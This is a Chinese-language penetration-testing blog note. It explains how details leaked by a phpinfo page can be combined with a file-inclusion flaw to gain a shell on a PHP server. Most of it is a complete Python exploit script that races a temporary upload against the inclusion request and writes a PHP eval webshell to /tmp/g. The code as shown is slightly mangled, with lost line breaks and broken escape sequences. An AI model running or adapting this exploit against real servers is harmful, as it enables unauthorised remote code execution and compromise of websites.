文件包含之通過phpinfo去Getshell
- 2020 年 4 月 7 日
- 筆記
1.phpinfo信息利用
phpinfo文件泄露一直被大家所忽視,但其實phpinfo可以為攻擊滲透測試人員提供很多的信息。
1.system
提供服務器所在的操作系統的信息。
2.真實ip
知道真實ip的我們可以省去cdn帶來的各種困擾。我們同時也可以端口旁站一頓操作。
3.web根目錄
網站絕對路徑對滲透測試相當的有用,當你找到SQL注入點時,要上傳木馬的時候就需要知道網站的絕對路徑才可以獲取webshell。假如該網站使用的是如xampp之類的快速搭建的軟件,你便可以尋找該軟件對應的漏洞去嘗試攻擊目標網站。
4. disable_functions
通過disable_functions你可以了解到該網站禁用了些什麼函數,然後去繞過代碼執行和編寫webshell時遇到的問題。
5. 臨時文件路徑
這次通過phpinfo來getshell的關鍵,phpinfo可以讓我們獲得臨時文件路徑。向phpinfo頁面post惡意代碼,可以在_FILES[「file1」]中看到上傳的臨時文件,如果該網站存在文件包含漏洞,便可以將惡意代碼存儲我們已知的絕對路徑去包含它getshell。
2.通過phpinfo去getshell
上面介紹了一下phpinfo的基本信息。接下來我直接演示如何通過phpinfo去getshell。
發現目標網站頁面存在文件包含漏洞,並且在網站根目錄發現phpinfo頁面。
這樣我們就可以直接使用漏洞利用腳本。腳本如下:
#!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%sr <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714r Content-Disposition: form-data; name="dummyname"; filename="test.txt"r Content-Type: text/plainr r %s -----------------------------7dbff1ded0714--r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r HTTP_ACCEPT: """ + padding + """r HTTP_USER_AGENT: """+padding+"""r HTTP_ACCEPT_LANGUAGE: """+padding+"""r HTTP_PRAGMA: """+padding+"""r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r Content-Length: %sr Host: %sr r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r User-Agent: Mozilla/4.0r Proxy-Connection: Keep-Aliver Host: %sr r r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0rnrn"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! m/" else: print ":(" except KeyboardInterrupt: print "nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
使用後我們會向服務器的臨時文件夾中寫入一段惡意代碼。
最後我們就可以通過網站的文件包含漏洞去包含執行惡意代碼。